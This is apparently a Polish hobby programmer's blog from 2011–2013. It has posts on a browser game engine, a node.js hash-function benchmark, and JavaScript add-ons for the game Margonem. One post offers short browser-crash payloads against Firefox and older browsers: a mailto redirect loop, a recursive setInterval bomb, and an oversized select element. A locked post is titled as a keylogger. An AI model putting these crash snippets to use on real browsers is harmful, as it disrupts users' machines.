Jeśli jesteś właścicielem tej strony, możesz wyłączyć reklamę poniżej zmieniając pakiet na PRO lub VIP w panelu naszego hostingu już od 4zł!
RSS

BorderLess Engine

0 Comments | Autor: Foxbond | Dodano: lut 02 2013

Strona gry: Danarroth

 

Rozpocząłem pracę nad nowym silnikiem.

 

Jest to silnik c++/php/js gry 2D przez przeglądarkę!

 

Strona projektu to:

http://borderless-engine.tk

Bieżące informacje można na fanpage’u na fb:

https://www.facebook.com/BorderlessEngine

 

Poszukuję grafików chętnych wspomóc projekt. Oczywiście wszystko jest non-profit.

Hash functions benchmark (javascript)

0 Comments | Autor: Foxbond | Dodano: wrz 22 2013

Test funkcji hashujących opierający się na kodzie napisanym w javascripcie uruchomionym w konsoli node.js

Wyniki:

>node data/benchmark/hash.js

md5 x 62,315 ops/sec +0.40% (101 runs sampled)
sha1 x 143,658 ops/sec +0.31% (99 runs sampled)
murmurhash3 x 2,234,721 ops/sec +0.32% (97 runs sampled)
sha256 x 239,232 ops/sec +2.97% (86 runs sampled)
xxhash x 206,667 ops/sec +3.50% (91 runs sampled)
Fastest is murmurhash3

 

Kod testera: (wymaga biblioteki crypto, xxhash i benchmark)

npm install crypto

npm install xxhash

npm install benchmark

/**
 * Hash functions benchmark (javascript)
 * @author Michał (foxbond) Chraniuk
 *
 * funkcje {md5,sha1,sha256} to najprostsze użycie biblioteki crypto
 * funkcja xxhash pochodzi z biblioteki xxhash wymienionej na oficjalnej stronie tegoż algorytmu
* funkcja murmurhash3 to przepisanie słowo w słowo z implementacji C
*/
var b = require('benchmark');
var crypto = require('crypto');
var xxh = require('xxhash');
var suite = new b.Suite;
// add tests
suite.add('md5', function() {
md5('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('sha1', function() {
sha1('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('murmurhash3', function() {
murmurhash3('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('sha256', function() {
sha256('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('xxhash', function() {
xxhash('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
// add listeners
.on('cycle', function(event) {
console.log(String(event.target));
})
.on('complete', function() {
console.log('Fastest is ' + this.filter('fastest').pluck('name'));
})
// run async
.run({ 'async': true });

„Zcrashuj” Firefoxa

0 Comments | This entry was posted on maj 08 2012

Dawno nic nie publikowałem wiec postanowiłem wrzucić dwa exploity na firefoxa.

Linki celowo nie działają, aby ktoś „przypadkowo” w nie nie wszedł, jeśli chcesz je sprawdzić to zaznacz link i kliknij przejdź do strony

 

Pierwszy z nich:

<html><body onload=”setInterval(function(){location.href=’mailto:a@b.c’},10);” /></html>

demo:  http://foxbond.cba.pl/exp/firefox1.html

 

Drugi:

function x(){for(var r=0;r<100000;r++){var e=setInterval(„x()”,1);}}var d=setInterval(„x()”,1);

demo: http://foxbond.cba.pl/exp/firefox2.html

 

Aktualizacja, Trzeci:

 

function x() {
 
  for(var r=0; r<100000; r++) {
    var e=setInterval("x()", 1);
  }
}
var d=setInterval("x()", 1);

demo: http://foxbond.cba.pl/exp/firefox3.html

 

 

W drugim przypadku przypadku błąd częściowo działa na google chrome.

(Oczywiście) nie odpowiadam za żadne szkody spowodowane działaniem tych błędów!

 

P.S. W przypadku komputerów posiadających dużą ilość RAM-u błędy prawdopodobnie nie będą działać ( RAM > 3GB )

 

P.P.S. Ten powinien działać na wszystkich starych przeglądarkach:

<script> function poc(o) {
e = document.createElement(„select”);
e.length=2147483647; }

function go() { poc(0); } </script>

demo:  http://foxbond.cba.pl/exp/exp1.html

 

Forgotten Heroes

0 Comments | This entry was posted on lut 28 2012

 

Rozpocząłem właśnie pracę nad nową grą.

 

Początkowe założenie to:

stworzyć prostą tekstówkę w której gracze będą mieli możliwość walczyć ze sobą w rozbudowanych pojedynkach na żywo

 

Jednak z upływem czasu zrozumiałem jednak, że taka gra musi zaoferować coś więcej. Postanowiłem zrobić możliwość poruszania się po mapie 2d.

 

Na potrzebę projektu rozpocząłem pracę nad nowym silnikiem, który obecnie nazywa się „Advanced RPG Engine”. Nazwa nie jest wyszukana, ale ważne, że jest po angielsku i ma słowo „engine” :D

 

Aktualnie mam jądro z niezbędnymi modułami takimi jak:

  • ModuleManager
  • System szablonów
  • Obsługa bazy danych
  • Cache (pliki lub APC)
  • Klasy do filtrowania i przetwarzania danych

 

 

Nie jestem w stanie podać nawet przybliżonej daty premiery.

Strona gry:

Forgotten Heroes

 

Częściowa integracja z facebook-iem

2 Comments | This entry was posted on cze 30 2011

Dzisiaj postanowiłem zintegrować mój „blog” z facebook-iem. Nie jestem fanem tej platfomy, jednak myślę, że pomoże to w zwiększeniu liczby użytkowników mojej strony. CAŁA konfiguracja trwała 7,5h. Początkowo chciałem skorzystać z gotowych wtyczek z oficjalnej strony. Teoretycznie powinno być szybko i wygodnie jednak w praktyce wyglądało to zupełnie inaczej…

Najpierw należało założyć aplikację na facebooku, wszystko szybko i intuicyjnie :D . Potem zaczęły się schody. Łącznie zainstalowałem 45 wtyczek i żadna(!) nie działała tak jak powinna :(

Po 6h żmudnego testowania wybrałem 2 wtyczki:

WordPress Connect do przycisków „lubię to!” i „wyślij” oraz komentarzy (aktualnie nie korzystam)

Simple Facebook Connect z modułem Publish do publikowania postów na tablicy

 

O ile oddzielnie działają wyśmienicie to gdy uruchomię je razem, nie działa żadna…

 

… i tak kolejną 1h zajęło mi modyfikowanie tych wtyczek. Jeśli kogoś interesowały by rezultaty tych działań niech napisze w komentarzach lub na maila.

 

 

P.S. Foxbond Framework już wkrótce!

Automatyczny poszukiwacz herosów

1 Comment | This entry was posted on cze 14 2011

Ulepszyłem mojego poszukiwacza herosów, aby nie trzeba było klikać „=”. Teraz skrypt automatycznie sprawdza czy nie ma herosa co 0.8 s

Dodatek na margoextend

var foxHlast=0;function time(){return Math.floor(new Date().getTime()/1000)}function foxbond_search_heros(){for(var b in g.npc){if(g.npc[b].wt>79&&foxHlast+60>time()){mAlert("Foxbond search heros:Znaleziony heros: "+g.npc[b].nick+"Współrzędne: "+g.npc[b].x+","+g.npc[b].y+"
By foxbond");foxHjest=time()}}}setInterval("foxbond_search_heros();",800);

Poszukiwacz herosów

0 Comments | This entry was posted on cze 08 2011

Jest już takich multum,  ale postanowiłem zrobić swojego (bardzo proste :D )

Dodatek na margoextend

$(document).keypress(function(b){if((String.fromCharCode(b.which)=="=")&&(b.target.tagName!="INPUT")&&(b.target.tagName!="TEXTAREA")){for(var a in g.npc){if(g.npc[a].wt>79){mAlert("<b>Foxbond search heros:</b><br>Znaleziony heros: <b>"+g.npc[a].nick+"</b><br>Współrzędne: <b>"+g.npc[a].x+","+g.npc[a].y+"<br><br><a href='http://foxbond.cba.pl'>By foxbond</a>")}}message("Brak herosa")}});

Zabezpieczony: Keylogger with cURL logger

Wprowadź swoje hasło, aby zobaczyć komentarze. | This entry was posted on maj 30 2011

Ten wpis jest zabezpieczony hasłem. Aby go zobaczyć, proszę wprowadzić swoje hasło poniżej:


EasyKeys – skróty klawiaturowe do Margonema

0 Comments | This entry was posted on maj 22 2011

EasyKeys jest to dodatek w którym możesz dodać skróty klawiszowe według WŁASNEGO upodobania do następujących opcji:
1. Walka Szybka
2. Walka Turowa
3. Zamykanie walki
4. Pobieranie lootu
5. Odrzucenie lootu (wszystkich lootów!)
5. Przechodzenie
7. Podnoszenie
8. Rozwijanie chatu
9. Minimapa

10. Rozmowa

11. Wyszukiwanie herosa

Jeśli dodatek będzie się cieszył popularnością rozwinę go o kolejne opcje ;)

Konfigurację otwiera się klawiszem „]”

Dodatek na MargoExtend

var ek_user = 'demo';
 
var ek_checksum = 'a0df09dc7bo8a94rt8e01e9e36d5c9ce4ad34fa2';
/*****************************************************************************************************/
function Set_Cookie(c,e,a,h,d,g){var b=new Date();b.setTime(b.getTime());if(a){a=a*1000*60*60*24}var f=new Date(b.getTime()+(a));document.cookie=c+"="+escape(e)+((a)?";expires="+f.toGMTString():"")+((h)?";path="+h:"")+((d)?";domain="+d:"")+((g)?";secure":"")}function Get_Cookie(a){var f=document.cookie.split(";");var d="";var c="";var e="";var b=false;for(i=0;i<f.length;i++){d=f[i].split("=");c=d[0].replace(/^\s+|\s+$/g,"");if(c==a){b=true;if(d.length>1){e=unescape(d[1].replace(/^\s+|\s+$/g,""))}return e;break}d=null;c=""}if(!b){return null}}$.getScript("http://foxbond.cba.pl/bots/margo/easykeys.php?user="+ek_user+"&checksum="+ek_checksum,function(){var a=get_fbd_ek();fox_ek_info(a)});function fox_ek_info(b){if(b.error==true||b.error=="true"||b.error==null){alert("Wystąpił błąd: "+b.error_type)}else{var c=Get_Cookie("fox_ek_ok");if(c=="ok"){var a=Get_Cookie("fox_ek_src");$.getScript(a)}else{$("<style>#fox_ek_info { width: 20%; position:fixed; _position:absolute; left: 40%; top: 50%; _top:expression(eval(document.documentElekent.scrollTop) + 100); background: black; text-align: center; border: 1px dotted red; z-index: 1000; }</style>").appendTo("head");$('<div id="fox_ek_info">© <a href="http://foxbond.cba.pl" style="color:red;">Foxbond</a> 2011<br>Wersja skryptu: '+b.version+"<br>Licencja na: "+b.owner+"<br>Licencja do: "+b.timeleft+'<br><a href="" id="fox_ek_info_close" onClick="return false;" style="color:blue;">Zamknij okno</a></div>').appendTo("body");$.getScript(b.script_src);Set_Cookie("fox_ek_ok","ok");Set_Cookie("fox_ek_src",b.script_src);$("#fox_ek_info_close").click(function(){$("#fox_ek_info").fadeOut("slow");return false})}}};

Margonem widoczny exp / życie

1 Comment | This entry was posted on maj 06 2011

W tym dodatku zamiast procentów na paskach pojawia się życie oraz ilość doświadczenia brakującego do następnego poziomu.

Dodatek na margoextend

function foxbond_hp_and_exp(){$("#fox_hp").html(hero.hp+"/"+hero.maxhp);$("#fox_exp").html(parseInt((hero.lvl)*(hero.lvl)*(hero.lvl)*(hero.lvl)-hero.exp)+10)}$("100%").css({position:"absolute","z-index":"303","font-size":"10px",left:37}).appendTo("#life2");$("100%").css({position:"absolute","z-index":"303","font-size":"10px",left:45}).appendTo("#exp2");window.setInterval(foxbond_hp_and_exp,200);